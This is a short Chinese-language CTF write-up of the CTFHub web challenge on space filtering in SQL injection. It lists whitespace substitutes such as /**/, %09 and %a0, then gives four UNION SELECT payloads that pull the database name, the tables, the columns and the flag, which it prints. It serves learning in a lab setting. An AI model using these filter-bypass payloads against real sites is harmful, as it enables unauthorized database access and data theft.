CTFHub笔记之技能树 WEB：过滤空格

小白一个，如果错误请指正！

        首先我们常规的去注入一下，发现之前使用的句子行不通，原因是空格键被过滤掉了。

 

         那我们就得去学习一下怎么绕过空格过滤：

SQL注入绕过技巧 - VVVinson - 博客园1.绕过空格（注释符/* */，%a0）： 两个空格代替一个空格，用Tab代替空格，%a0=空格： %20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/ 最基本的绕过方https://www.cnblogs.com/Vinson404/p/7253255.html

         我们这里使用注释/**/的方法绕过空格过滤。

1.爆数据库

123/**/union/**/select/**/1,database()#

2.爆表名 

123/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'

3.爆字段

 123/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='peijpdqaxg'

4.爆flag

 123/**/union/**/select/**/1,yndrkewrmj/**/from/**/sqli.peijpdqaxg

成功拿到flag ctfhub{68d5164ed3d6f1db4b9bdedf}

参考资料： 

https://www.cnblogs.com/Vinson404/p/7253255.html